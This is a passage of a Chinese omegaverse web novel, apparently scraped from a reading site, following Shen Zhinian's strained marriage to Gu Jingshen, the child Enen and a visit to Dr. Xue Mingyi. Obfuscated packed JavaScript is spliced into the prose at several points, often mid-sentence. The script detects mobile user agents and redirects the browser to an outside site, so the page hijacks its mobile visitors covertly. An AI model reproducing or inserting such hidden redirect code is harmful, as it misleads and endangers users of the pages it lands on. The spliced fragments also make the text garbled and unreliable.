l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340640|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈之年赶紧比了一个噤声的姿势。 林之白从魏砚姝的家里出来,就尽力不去看恩恩,免得自己一不小心说出什么难听的话,但是现在他也是实在没办法忽略掉这个孩子,“你怎么把他带回来了?” 林之白看恩恩就牙花子疼,“你知道么,之年,Omega学院有时候会叫你们接纳丈夫的私生子,但是这是不对的。” “在蓝星时期的封建时代确实盛行过这样的思想,认为妻妾和谐是一种为人妇的美德,但是后面就被废置了,这是一种为了禁锢蓝星蓝星时期女性发明的道德枷锁。” “虽然由于种种原因,这个东西现在被翻出来用来禁锢Omega,但是这不是美德。” “这是傻【bi~~~】” “所以,你不需要为顾景深的私生子负责,你明白么?这不是你的孩子!” 沈之年闷闷的点点头,其实他是不介意的,这些那些的道理,本质上对于沈之年是一样的,他只是会选择好像让大家最满意的方式去做。 “其实只是帮魏砚姝照顾几天,他最近要跑流程,不太方便。” “你也不用做大老婆,帮他照顾情人,你懂吧。”林之白说完翻了个白眼,“顾景深也挺抠门的,这么宝贝的初恋,这么宝贝的孩子,连个保姆他都不给请。” “Alpha·····”林之白叹息,林之白摇头,“抠门是刻在骨子里的。” “这个肯定是不行,等你们分开了,下一个一定得找一个大方的。” 出现这个孩子之后,林之白反而没有那么着急劝沈之年,因为顾景深一定会申请婚姻作废,只要等待就好。 他们都还年轻,有的是重新再来的机会。 况且就算是年纪大了又能如何,又没入土,还有几年好活,就能自己去选择活法。 ------------- 沈之年有猜到今天之后,也许顾景深会抽个空回家。 但是没想到当天就回来了。 沈之年给顾景深开门,他是大少爷有些大少爷的脾气,向来是要人开门的。 毕竟家里有恩恩,沈之年罕见的又开始做饭,他在学校学过很多营养好吃的宝宝餐,之前一直无处发挥,现在恩恩来了,他还来了点兴致,打算复习复习功课。 灶上还点着火,离不开人,回头就看到顾景深进来房门,就站在门口,不知道在等什么。 “怎么了?” 顾景深的视线飘了飘,没什么,“今天做饭了?” 他好像是歇了一口气,跟在沈之年的身后就进了厨房,很有眼力见的帮手。 “你最近中午都没来公司?是有事么?” 沈之年不太会说谎的,“没事,怎么了?”他没去,纯粹是不想去,其实顾景深不是很需要吃他的饭,送不送是一样的。 “吃饭了!”沈之年照顾小孩的兴致正浓,不太想理会顾景深,问那些没影的问题。 顾景深回身就看到恩恩乖巧的坐在椅子上。 “他怎么在这里!” 17. 第 17 章 好奇怪,顾景深不是为了恩恩回来的么?怎么好像不知道似的。 沈之年一时没反应过来,“他不在这里在哪里?孩子来家里吃个饭都不能上桌了?”不知道是不是心境变化,沈之年越发觉得顾景深不可理喻,他小翻一个白眼就要走。 但是顾景深一把抓住沈之年的手臂,力道大得让他痛呼出声,“你怎么能把恩恩接回家?!” 顾景深的声音因为极度的震惊甚至有一点变调。 他的眼神此刻没有丝毫温情,只有冰冷的、赤裸裸的怀疑和指控:“你想干什么?嗯?你把他接回来干什么?!谁让你接的?母亲?父亲?你就想趁机把孩子从他妈妈身边抢走?抢回‘我们的家’?!” 手臂上传来的剧痛远不及心口被撕裂的万分之一。沈之年难以置信地看着眼前这个熟悉又陌生的男人,看着他眼中那毫不掩饰的、将自己视为掠夺者的恶意。 “你疯了?” 沈之年清晰地说,带着一种骇人的平静,“恩恩生了重病,需要在首都星落户,免不了东奔西跑,你管他们母子了么?你装的情深意重,也不过如此啊!” “魏砚姝没人可以托付,都求到我了,顾景深,你还说我······” “抢?”他几乎是用尽了全身的力气才挤出这个字,声音破碎不堪,无法言喻的荒谬感。 “顾景深!你疯了吗?!在你眼里,我就是这样一个处心积虑、连孩子都要抢的恶毒人?!” “难道不是吗?”顾景深掐着他手臂的力道没有丝毫放松,反而更紧,他俯视着沈之年,眼神冰冷刺骨,“不然你怎么解释?你为什么要去接近他?为什么要去管魏砚姝的事?你们有这样的情谊么?” 随着顾景深的怒火,他的信息素不可抑制的外溢,柑橘味的香气像是针扎在沈之年的身上,他们的匹配度太高,信息素一点点的波动,沈之年都能察觉到······ “啪——!” 一记清脆响亮的耳光,狠狠地、用尽了沈之年全身力气,扇在了顾景深的脸上! 时间仿佛凝固了。 顾景深被打得偏过头去,脸上迅速浮现出清晰的指印。他整个人僵在原地,眼中翻腾的怒火瞬间被巨大的错愕和一丝茫然取代。掐着沈之年手臂的手,终于松开了。 沈之年的手火辣辣地疼,浑身都在不受控制地发抖。他看着顾景深脸上那个刺眼的红痕,看着他那双终于褪去狂怒、露出难以置信神情的眼睛。 “顾景深,”沈之年的声音抖得不成样子,那么汹涌的信息素下,沈之年也能感受到顾景深汹涌而来的情绪,“你平静一点了么?” “我没有想抢你的儿子!只是魏砚姝一个人带着孩子,孤儿寡母不容易,我帮帮她罢了,”沈之年摇着头,“你要是用心一点,也用不着我!” “啊!”顾景深如梦初醒,下意识地喊了一声,声音里带着一丝他自己都未察觉的恐慌。 顾景深后退一步,信息素慢慢收回,“对不起,我易感期快到了,情绪并不稳定,没伤到你吧。” 沈之年淡淡的摇了摇头,他也不是泥捏的,捏一下手腕也坏不了。但是顾景深已经把沈之年的手拉过来仔细查看,“他们的事情,你不用管,让你受委屈了。” “易感期是什么感觉。”沈之年突然转换话题,顾景深也愣了一下,但是问完之后,沈之年也觉得自己问的奇怪。 在学院里有教过的,Alpha易感期的时候会变得暴躁易怒,情绪敏感,有时候会离不开伴侣信息素的抚慰。 所以Omega需要宽容体谅alpha,尽量不要离开alpha太久······ 条条框框很多,沈之年都记得很清楚。 但是应该没有什么用处,顾景深也不会找他一起过易感期。 两个人都没有说话,一起平复了一下心情,沈之年才开口,“先吃饭吧,恩恩还在等,别让孩子觉得我们不欢迎他。” 顾景深点点头,然后两个人像是无事之人一般,笑盈盈的走进了饭厅。 结婚这半年,这是他们最像寻常夫妻的一瞬间。 --------------------------- “你们刚才吵架了么?” 饭菜上了桌子,还不等沈之年开口,恩恩就先开口。 他是个性格非常敏感的孩子,虽然他假装自己很冷静,紧紧的扣在一起的两只手还是暴露了他的紧张。 “没有。” “是的。” 顾景深和沈之年同时开口,前者是顾景深,后面的是沈之年。 沈之年先抢过话,“我们方才确实是吵架了,但是是因为其他的事情,家里的烦心事情很多,两个人总是要吵架的,恩恩,你是我邀请来的小客人,我们都很欢迎你来。” 恩恩是个情绪敏感的孩子,既然听到了争吵的声音,巧言强辩也是没有用的,不如好还给他解释。 沈之年的声音轻缓,天然的就有说服力,果然恩恩听过之后拧在一起的手就松开了。 “吃饭吧!”沈之年拍拍恩恩的小手,转过头发现顾景深在看自己。 “你在看什么?” 顾景深张张嘴,好像马上就要说出什么话,最后又摇摇头。 “没什么,吃饭吧······” 顾景深现在是越来越奇怪,Alpha就是这么奇怪的东西吧,沈奉月经常这样讲,毕竟他们不管什么工作,不管多大年纪都是少年,走在路上会投篮······ 干脆沈之年也不去想顾景深在想什么,转头和恩恩商量,“我明天要出去一趟,不太方便带你,我家里还有一个弟弟,刚好能陪你玩,或者你也可以在家里玩。” 恩恩还不能上学,况且还生了病,家里有家居机器人,等级很高,比魏砚姝家里的基础款功能多出很多,完全可以承担照顾恩恩的重任,只是一般家务活都是沈之年亲历亲为,机器人的用处并不多。 如果他不愿意,就送回沈家呆一天,伊桑看起来就很贤惠,一看就是貌美贤良的Omega,肯定能带好孩子。 “你要出去?做什么?”顾景深突然打断沈之年和恩恩的解释。 “我只出去大约半天,哥哥有些事情找我。”其实是去看病,去找那个沈奉月介绍的医生。 只是没办法直说,恩恩到底还是一个孩子,说自己生病了,他难免会多想,干脆就遮掩过去。 “哦,哦,是哥哥的事情,有没有什么我能帮忙的?”顾景深说这话的声音很小,好像不太好意思开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340641|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口。 其实刚结婚的时候,顾景深就说过一次有事可以找他,沈之年没找过,但是他总是会不知从哪里知道沈家的问题,然后适时的帮一把手。 虽然林之白张嘴闭嘴都是让沈之年离婚,但是从不阻止薄斯年和顾景深交往,他就是疼爱沈之年,所以不认同这段婚姻,宁愿不占这些便宜,不乘这股东风,其实并不否认顾景深这个人。 顾景深不算是坏人,只是婚姻的结果不是由好坏人来决定。 “没什么,是小事情,陪哥哥买东西。” 顾景深冷着脸夹起一个小熊饭团,看起来竟然还有一点反差萌。 沈之年没想到今天顾景深要回来,主要给恩恩做了饭,小熊形状的饭团,迷你小牛排,蔬菜肉丸,还有切成各种可爱形象的新鲜时蔬,幸好沈之年准备的菜很多,还让机器人帮忙,三个人才能吃饱。 只是样式实在是变不了,顾景深只能顶着那张霸总脸,吃完小熊饭团吃迷你小牛排,还挺可爱的。 恩恩也一边吃一边偷偷抬头看顾景深冷面吃小熊饭团,借着饭菜的遮掩,稚嫩的嘴角抖了又抖······ 顾景深视线转了一圈,看到恩恩偷笑,沈之年的眉眼也肉眼可见的轻松了许多,也偷偷勾起唇角继续吃饭。 他向来是认为自己对婚育不感兴趣的,现在觉得,结婚不错,也许有个孩子也行。 --------------------------- 吃完饭,顾景深不知道怎么回事,抢着去收拾餐具,明明家里有机器人。 小孩子觉多,睡得早,沈之年给恩恩安置了房间,看着他吃了药,又将他哄睡。 出门就撞到了顾景深,“今天真是对不起,我易感期了······” 之前两个人的约定里只说了沈之年的发情期需要顾景深帮忙度过,倒是没说易感期怎么办 一般来说,发情期Alpha陪Omega渡过,给一个简单的临时标记算是一种人道主义,可是易感期不一样,Alpha的天生就有更强的体魄,易感期更是暴躁易怒,难免会出现强迫的情况。 在沈奉月上位之后,就在宣传远离易感期alpha,帮助易感期alpha不是人道主义援助! 平等之路任重道远,不能简单的AO互换,也要考虑现实存在的条件差异,这个宣传了很久才初见成效,但是也显然不适用于沈之年和顾景深这对半生不熟的合法夫夫。 宣传力度还没大到认为陪丈夫过易感期是不人道的。 所以沈之年不知道顾景深提起这个的意思,“你是需要我留下来陪你么?” “不是······”顾景深听完沈之年直白的问题,微微侧过头,不看沈之年的脸,“我······” 沈之年恍然大悟,“那就是让我别回来!”他们的匹配度很高,可能顾景深怕自己把持不住? 不过沈之年对顾景深是有很大的信任的,两个人在一个屋檐下马上生活快半年了,他都没得到顾景深的一个情绪,郎心似铁啊。 “也不是,我没那个意思,只是和你道歉。” 奇奇怪怪的,沈之年哦了一声,“那我回房了?” 门在他身后“砰”地一声关上,隔绝了两个世界。 18. 第 18 章 沈之年早早的就到了那个医生所在的私人医院,这个地方叫医院或许不太准,因为虽然设备齐全,但是只有一位医生,就是沈奉月推荐的那位天才医生。 也是因为只有一个人,这个医院的布置不太像医院,反而像是谁的家里,只是装修风格冷淡了一点,恰好能够冲淡侯医的紧张感。 这个私人医院的每天也只接待一位客人,沈之年来得早,就捏着自己的病例单等在外面,偶尔和旁边的护士姐姐对上视线,护士姐姐还会抿嘴笑一下。 消毒水的气味在中央空调循环系统里变得稀薄,混进来一丝若有似无的雪松香,他抬眼,看见一个穿白大褂的高瘦身影推开了诊室的门。 “沈之年?”低沉的声音从门内传来,清晰又带着不容置疑的专业感。 沈之年起身走进去。 诊室布局简单得近乎冷漠:一张简单的楠木办公桌,现在天然资源都很珍贵,无声的炫耀着实力,墙上挂着神经传导示意图,窗台摆着多肉植物——状态还不错,给这个冷漠的办公室增加了一点亮色。 办公桌后坐着的医生白大褂袖口露出半截白色手腕,他的声音比想象中年轻。沈之年的视线顺着听诊器银链往上爬,在喉结处打了个转,最终撞进一双带着笑意的眼睛,诊室灯光给他睫毛投下细碎的阴影,无框眼镜后的眼睛漆黑。 胸牌上的名字很干净:薛明亦。 竟然是一个熟人,至少他们见过面。 “好巧。” 薛明亦看起来一点也不惊讶,他示意沈之年坐下,递过来的指尖修剪得极短,甲床透着健康的淡粉色,沈之年乖乖的把病历本递过去。 这种会员制的医疗,其实他的情况早就已经送到了薛明亦那边,沈之年自己带一份不过是表达对医生的尊重。 薛明亦盯着病历本上面的“情感淡漠?”愣了一愣,又抬起头看沈之年一眼。 沈之年察觉到薛明亦的视线也微微朝他一笑,眉目如画,眼含秋水,嘴角还能看到一个小小的梨涡。 他的钢笔悬在病历本这几个字上方,点了又点。 沈之年的问题简单点说是情感淡漠,但是这个词只能用来形容沈之年的表现,其实沈之年并不是简单的心理问题。 人类为了适应星际生活,身体有许多大大小小的进化,腺体就是其中一样,它是一个精妙的器官,小小的一个,却和大部分生活都息息相关。 信息素的用处,目前医学也还没能研究的太清楚。 但是自从出现了腺体,孕期就不仅仅是Omega的事情,科技早就足够发达,能够让孩子在很低的月份就进入育儿仓,但是在胎儿的成长,同时需要Alpha,Omega双亲的信息素。 但是很可惜,沈奉月怀孕很久才发现,错过了沈之年进入育儿仓的时机,而且当时沈奉月并没有结婚,那个alpha也早就不知所踪,胎儿缺乏alpha信息素的抚育。 这是很罕见的病症,缺乏alpha家长信息素抚育会造成的问题很多,缺失情感是里面比较少见的一种,还有的会智力短缺,平衡能力不好,色盲,总是都是胎儿时期发育的问题。 但是具体为什么出现的问题天差地别,现在还没有定论。 所以沈之年才一直难以求医,这次沈之年也并不抱希望,毕竟,总不能把他塞回沈奉月的肚子里,重新发育一次。 “目前对于这种情况还是尝试使用父亲的信息素,你试过么?”这个办法成功率并不高,薛明亦也只是例行询问,试过之后不成功也是有可能的。 沈之年摇摇头,“我alpha父亲早就不见踪影了,也没留下什么信息素样本,没法仿制。”所以没有试过。 “之前大多是开一些没用的药,吃来吃去就是那几样。”沈之年报菜名一样把那些药说了一遍,明显看到薛明亦药方的手一顿,之后不再去写了。 果然是这几样,也幸好沈之年之前并没多做期待。 这种病很少见,薛明亦之前也见过一个,不过是在重刑犯监狱。 感受不到情感的波动,就不会怜悯,不会害怕,不会共情,头脑极度冷静,再加上AO共同抚育胎儿是常识,也并不麻烦,就算是Alpha父亲意外去世,在育儿仓也可以一用人造信息素替代,出现这种病症,原生家庭一般也出现很大的问题,没办法好好养育孩子,孩子多数性格会出现问题,是罪犯的好材料 之前的案例,薛明亦也翻过一些,这种人的犯罪率很高,就算不是罪犯的,也表现出了和常人明显的差异。 但是沈之年并不同,他看起来不仅和常人无异,甚至性格温和,怜贫惜弱,看起来情感充沛的很。 “你和我之前对这个病的认知不太一样,你看起来并不像有病的样子。” “我小时候和他们差不多,但是看到我那样爸爸总会很伤心,我学习平常人该笑的时候笑,该哭的时候哭,爸爸和哥哥会开心一点。”沈之年不是一个讳疾忌医的人,已经到了医生面前,自然没有什么羞于启齿的。 “这倒是一种治愈的办法。”不知道是那里好笑,薛明亦竟然闷闷的笑了两声,“这种病大多都有融合社会的问题,你倒是解决了。” 很多时候,看起来没病,那就是没病,没人细究里面到底有没有问题,沈之年也这么觉得。 “你丈夫没陪你来?”钢笔重新在纸上沙沙作响,薛明亦没有再看沈之年,沈之年也不知道他在写些什么东西。 “他有事情。”沈之年不知道他怎么突然问这个,但是已经下意识的为他遮掩。 “那他不太称职,这种情况应该陪太太过来的。”薛明亦轻巧的开口。 沈之年不知道他为什么突然问这个,明明他是魏砚姝的朋友,到底是什么情况,难道他还不清楚,这个人好坏,说话专门戳人痛楚。 见到沈之年侧过脸,薛明亦无声的笑了一下。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340642|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “抱歉,不要紧张,我希望我们可以更轻松的谈论这件事,如果标记过的Alpha在身边,可以释放一些安抚信息素。” 沈之年更不想说话了,他们也没标记过,只是这件事实在是没必要和外人谈。 但是他已经觉得薛明亦很不称职了,本来沈之年就没有对这个大夫太抱希望,更何况这个人说话好不讲究,沈之年也不想和外人说太多家里人的事情。 他就像随便应付两句,之后离开,“如果你没有什么别的······” “你的颈椎是不是也有一点问题?”薛明亦突然开口,直接就把话题转了一个方向。 沈之年一下子没反应过来,就没能及时回应。 薛明亦的视线在他按压颈椎的手指上停留了半秒,快得像是错觉。 “要不要顺便看看颈椎?”薛明亦好像是察觉到了沈之年的离开之意似的。提出了一个沈之年没法拒绝的提议,“来都来了。” 他的脖子确实不太舒服,更可况薛明亦还说了那句流传多年,让人没法拒绝的咒语,来都来了······ 沈之年只能对这句咒语妥协,“确实有一些,连带着后脑勺也持续性钝痛,像被钢丝勒着。” 沈之年皱着眉按了按颈椎的位置,“这里尤其明显,最近睡眠也差。” 薛明亦绕过桌子,脚步声几乎被厚地毯吸尽,做到了一个距离沈之年不远不近的距离:“头低一点。”说话间,沈之年还能闻到他身上消毒水混着雪松的气息。 薛明亦的手指悬停在她颈侧,然后才轻巧的摁了两下:“是这里么?” 沈之年不太习惯和其他人这么亲近的接触,他指尖点过的地方起了一片战栗,“嗯。” 薛明亦尖撤离时若有似无地蹭过她耳垂,沈之年下意识缩了下脖子。 他疑心薛明亦是故意的,但是抬起头看到薛明亦,眼神清正,坐的距离也并不逾矩,“最近压力很大吗?” 沈之年没回答,幸好薛明亦好像也不太在乎,“你再低下头。” 他往沈之年那边挪了一下,他的手又摁在了沈之年的脖子上,“这里疼?”他的指尖精准地压在沈之年刚才自述的位置。带着薄茧的指腹力道适中地揉按,动作是纯粹的职业性,停留的时间或许没那么长,但是在沈之年的脑子里无限的拉长,拉长,拉长······长的沈之年好像能够听到自己的心跳声。 沈之年能闻到他袖口逸出的淡雪松香,混合着消毒水味,形成一种奇特的、令人安心的气息。 “嗯…对,就是这儿。”沈之年低声应道,颈后被他触碰的皮肤微微发烫。 很奇怪的感觉······ 沈之年转过头,刚刚看到薛明亦含着笑意的眼睛,脖子上就不知道怎么的,被轻巧的捏了一下让他不得不把头转回去。 “抱歉,薛医生,容我问你一句,你现在这样,难道···是在···勾引我么?” 20. 第 20 章 果不其然,薛明亦的脸上露出了欲言又止的神情,“我知道,你们都这么说,他对你好,是吧······” “不是,他真的不一样!” 薛明亦一边手在键盘打字打的飞快,一边不过心的应答,“对,他就是不上相,真人很帅······”薛明亦顿了一下,才施施然的开口,“还有腹肌!” 沈之年紧急打断了薛明亦,“他是真的帅,也有腹肌。” 薛明亦停止了打字,动了一下鼠标,好像是转换了光脑的页面,然后简短的打了几个字,盯着屏幕半晌,不知从哪里摸出一面镜子,看来看起,两相比较,“哦,确实还行。” “他真的不一样,我对着他的时候,能够感知到情绪。”沈之年现在对薛明亦还算是有好感,他的病也不是什么机密,顺便就说出来了。 薛明亦放下镜子,面色又沉重起来,好像这不是一个好消息似的。 沈之年没有在意他的脸色,“准确的说,是在他信息素的包围下,我能够感知到情绪。” “情绪,真是神奇的东西!” “有了情绪我才知道,没有情绪的世界是多乏味,多无趣,几乎是黑白的,见到顾景深那天,我听到了我的心跳声,我的世界一下就被点亮了。” “后面我才知道,那叫心动,真有趣。” “和他在一起的每一天,都很有意思,爱也有趣,恨也有趣,喜怒哀乐,都有趣。” “连痛苦,刚刚体验的时候,都是新奇的,情绪怎么又这么多种呢,等待的痛苦和被拒绝的痛苦都不一样······” 说到情绪,沈之年好像有一些兴奋了,连他自已都意识不到,他的眼睛晶亮,纯白的脸上泛起一点潮红。 薛明亦揉了揉额角,“你现在真的有一点像罪犯预备役了。”很多犯下耸人听闻罪行的杀人犯,都是为了寻求刺激,寻求更高级的情绪。 沈之年摆摆手,“抱歉。方才回忆起了我们的初见,”其实他本身就没有什么情绪波动,所以现在很快就能够平静下来,“而且我觉得,我和他待的越久,我对情绪的感知会加强。” 沈之年回忆了一下,“是会加强的,最开始像一滴水,最近要把我淹没了。” “你的婚姻并不开心?”薛明亦突然问。钢笔在病历本上划出突兀的折线,墨迹洇透了纸页。薛明亦紧紧盯着沈之年的眼睛,好像怕错过他的任意一个表情。 沈之年怔住:"我刚刚说了吗?" “说了。”他收回视线,还推了下无框眼镜,镜链在耳后晃出细碎银光,“人在回忆疼痛时总会泄露更多信息。”这个解释过于专业,反而显得刻意。 不过沈之年马上就放下了怀疑,毕竟薛明亦和魏砚姝认识,知道他的婚姻情况也是情理之中,“你是明知故问。” 薛明亦肉眼可见的呆愣了一下,然后一下子就明白沈之年的意思,“抱歉,我觉得你可能对我有误解,虽然我和魏砚姝是表姐弟,但是其实我只是对她有基本的照顾,衣食住行,其他的没有。” “我也没有窥探别人家秘密的爱好。” 薛明亦看起来确实十分清正,沈之年自然是相信的。 这也没什么不可说,没有情绪,就没有羞耻感,所以沈之年可以很轻易的把话说出口,“对,不是很幸福,他不爱我。” “你很惊讶么?”沈之年看到薛明亦抬起头看他。 “对,沈先生你很有魅力,几乎是一个完美的Omega,竟然有人不爱你,真是令人惊讶。”薛明亦就是刚刚看了一眼然后很快就低下头去,声音也随着低头的动作低沉下去,“更何况你们还是,完美匹配。” 沈之年没应,只是想起了另一件事,“大多数alpha把那个匹配看成是一种禁锢,你倒是挺不一样的。” “信息素是基因表达的一部分吗,我学习过基因学,所以我不觉得那是一种束缚,和我匹配度最高的那个Omega,是刻在我基因中最完美的爱人。” 薛明亦说这话的时候,一直看着沈之年的眼睛,看的沈之年不得不错开视线。 “那你未来的妻子应该很幸福了。”沈之年下意识的说完这句话,又想起之前薛明亦说起,和他匹配度最好的那位Omega选择了别人,又紧急调换了语气,“医疗星人比较少,你可以把自己的基因加入星环合众国的基因库,这样的话,能和更多的Omega匹配,没准能遇到匹配度更高的人呢。” “医疗星的基因库中早就要各个国家的内容,所以这个世界上不会有和我匹配度更高的Omega了。”薛明亦含笑解释了一下,用笔尖点了点桌面,“不要再担心我的未来了,我对你的病有一点简朴的看法,你要不要听一听?” 蓝星时代,人类就已经实现了去纸化,但是到了如今的星际时代,人类反而掀起了一股复古的风潮,认为很多蓝星时代遗物是浪漫且高贵的, 纸笔就是一样,现在但凡自认高贵的地方,自持矜贵的人,都会拿出纸笔。 之前沈之年嗤之以鼻,现在倒是觉得有一些意思。 至少薛明亦点这两下,带着一点难以言喻的绅士和优雅。 ······ “真是大胆的计划。”听完薛明亦的计划,就算是沈之年也忍不住喟叹一声。 “很有趣,不是么?”薛明亦勾起一点笑,“你喜欢体验各种各样的情绪,这不是正中你下怀,至少这种,你没有体验过。” ······ 沈之年出门的时候,薛明亦起身送了他一程,在他推开门要出去的时候,薛明亦突然伸出手拉住沈之年的手腕,拇指压住他手腕内侧:“明天下午三点复诊。” “可以么?” 沈之年耸肩,“那要看,我能不能拿到你这个刺激计划的道具了。” ----------------------------- 沈之年到家的时候,恩恩在玩积木,顾景深就不近不远的看着他。 那么相似的两张脸,真是温馨的一幕。 他回来的并不晚,甚至能说得上早。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17340644|199309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>顾景深看到沈之年回来,抬了一下眼睛,又收回视线,冷淡的一句,“回来了。” 沈之年突然想起今天薛明亦说过的话,“竟然有人不爱你?” 这不是就有一个么,无情的恼人。 “嗯,回来了。”沈之年把外衣褪下,露出里面纯白的棉质衬衫,搭上那张不施粉黛的脸,看起来有点像漂亮大学生。 恩恩听到动静也抬起头脆生生的叫,“沈叔叔!” 看起来比昨天精神头好不好,胆子也大上许多。 “今天,去了哪里?”顾景深的视线再沈之年身上转一圈,又收回和恩恩继续搭积木。 “没事,见一个寻常朋友,你们晚饭吃的什么?”沈之年越过厅堂中间的两个人,想去厨房看看,恩恩的食谱已经早就被他安排给机器人管家,倒是不担心恩恩吃坏什么或者吃错,但是还是要问上两句。 “恩恩吃过了,我等你一······” 沈之年恰好经过顾景深的身边,手腕突然一紧,“你去见的是Alpha?” 手腕上有一股热气,是顾景深的鼻息喷在沈之年的手腕,他抓住沈之年的手,仔仔细细,角角落落都要闻过,“是谁?你去见了谁?” 沈之年下意识ide抬起手腕想问问自己身上的味道,薛明亦是一个十分绅士的alpha,一直牢牢的贴着信息素抑制贴,但是Alpha和Omega到底不一样,他们有恃无恐,疏漏一些也是常识。 他们又在一个房间共处,可能真的沾上几缕,但是回来这一路总该散没了。 顾景深怎么跟小狗似的,鼻子这么好用, “一个普通朋友,有味道么,可能是不小心蹭上的······” 沈之年没太当回事,人和人又不能隔开八百丈,Alpha们又大多有恃无恐,偶尔撞上,沾上一点是常事,这么一点,沈之年自己都没什么感觉······ 谁知道顾景深却不依不饶,“为什么你身上都是他的味道,你们坐的好近,他在挑衅我。” 房间被柑橘味的信息素盈满,本来顾景深在家里也不会贴上抑制贴,之前沈之年还是很喜欢回家的,在顾景深的信息素里,做什么事情都会很有趣。 但是现在这种信息素变得分外的粘腻,好像一对铁血之师,落在沈之年的每一寸肌肤,要把每一个侵略者杀尽。 进攻性太强了,他们的匹配度也太高,沈之年甚至有一点腿软。 现在顾景深不像是能好好说话的样子,沈之年向下看了一眼恩恩,恩恩一双黑白分明的大眼睛正一错不错的看着两个人,里面有点不易察觉的惶恐。 沈之年抽回手,俯身把恩恩抱起来,“你先冷静一下,别吓到孩子。” 沈之年把恩恩放回房间,再回到顾景深身边,顾景深已经垂着头,坐在沙发上。 看到沈之年回来,好像想要说点什么,但是被沈之年先声夺人。 “你要是想我陪你在家,可以直接和我说,而不是用这种不入流的小手段吸引我的注意。” 21. 第 21 章 这句话很耳熟,是顾景深讲过的话。 沈之年当时没有说,但是其实很介意,现在终于找到机会把这句话还给他。 那天兵荒马乱,顾景深当然也记得这句话,一时之间的错愕就写在脸上。 之前沈之年总是像座端庄的雕像,最近倒是有了些生气。 他自知理亏,没有理会沈之年这句小小的挖苦,“对不起,我,我易感期快到了,心浮气躁,吓到你了吧。” 沈之年早有预料,alpha就是这样,易感期一到,占有欲也会上来,哪怕对这个Omega没有爱情,也不允许其他的Alpha染指,好像圈地盘的小狗。 沈之年坐到顾景深的对面,做出要长谈的姿态。 沈之年很喜欢现在的场景,符合他在Omega学院学过的和Alpha交谈的场景。 一个心中有一点愧疚的Alpha,一个日常的场景。 这是最容易达成目的的场景。 至少Omega学院是这么教的。 沈之年还没实践过。 “你的易感期打算怎么办?” 易感期本质是,信息素在腺体中的过量积累,顾景深是个极优Alpha,腺体存储能力更强,所以他的易感期周期很长,但是这也代表,他的易感期相对来说,会来的更加猛烈,甚至会造成很严重的后果。 一般来说,极优性Alpha需要到军方备案,有伴侣的极优性可以在报备的情况下在家中渡过易感期,但是要佩戴身体情况监控装置,来保障Omega的安全。 基本上,大多数Alpha还没疯到伤害自己Omega的程度。 但是如果是没有伴侣的Alpha,就需要去军方特别设立的地点度过易感期。 顾景深没有说话,只是深深的看着沈之年,好像是在等沈之年说什么似的。 沈之年不解其意,两个人一起沉默片刻,最后顾景深才开口,“我去军区······” 沈之年也不知道听到这个回答自己究竟是应该心酸,还是应该庆幸。 他对待顾景深的态度,他自己也分不清。 刚开始,他觉得顾景深没有错,加上他需要顾景深,所以觉得这段婚姻可以延续下去。 但是他看到顾景深陪着魏敏姝母子俩逛游乐场,他突然意识到,他们是有感情的。 他之前没有,他不懂,没亲眼看到就没办法反应过来,现在看到了,才觉得,可能成全他们才是好的。 他是不是顾景深一家三口团圆路上的阻碍呢? 这个问题从那天之后,一直在他的脑子里面环绕不去。 明明他才是顾景深的合法伴侣,但是他好像才是那个做错事的人。 所以沈之年自己下不了决定,他没法决定离开顾景深,离开那个新奇的世界。 也没法下决定不离开,他在顾景深的身边体验到了什么叫爱情,那真是一种让人欲生欲死的感情,所以将心比心,也没法眼看着他们一家三口分离。 “在军区会怎么过易感期?”Omega学院简单的讲过,只是说很不人道,所以要Omega心疼Alpha,以后如果遇到一定要包容温柔的排版让Alpha过的开心。 “一般会将紧急情况分成三等,低等会被关起来,注射抑制剂,中等会被送去体能训练,把身体里面积攒的信息素挥霍出去,高等会有研究人员来将多余的信息素抽走。” “你应该是哪个等级?” 顾景深奇怪的看了沈之年一眼,才缓缓开口,“高等。” 虽然方才他真的希望沈之年能够开口留他一句,但是就算是沈之年留了,顾景深也要去军区。 他和沈之年在一个屋檐下生活半年,对他来说,也不是一点影响也没有,至少他的腺体有很大的反应,现在他的信息素储备已经是极危,别说沈之年不能和他···就算是能,为了沈之年的安全考虑,他也需要去军区。 沈之年不懂那个眼神的意思,但是还是提出了自己的要求,“那个信息素,能拿回来送给我么?” “我发情期现在不太稳定,医生不建议再使用抑制剂,如果有你的信息素,下次就可以自己平稳度过发情期。” 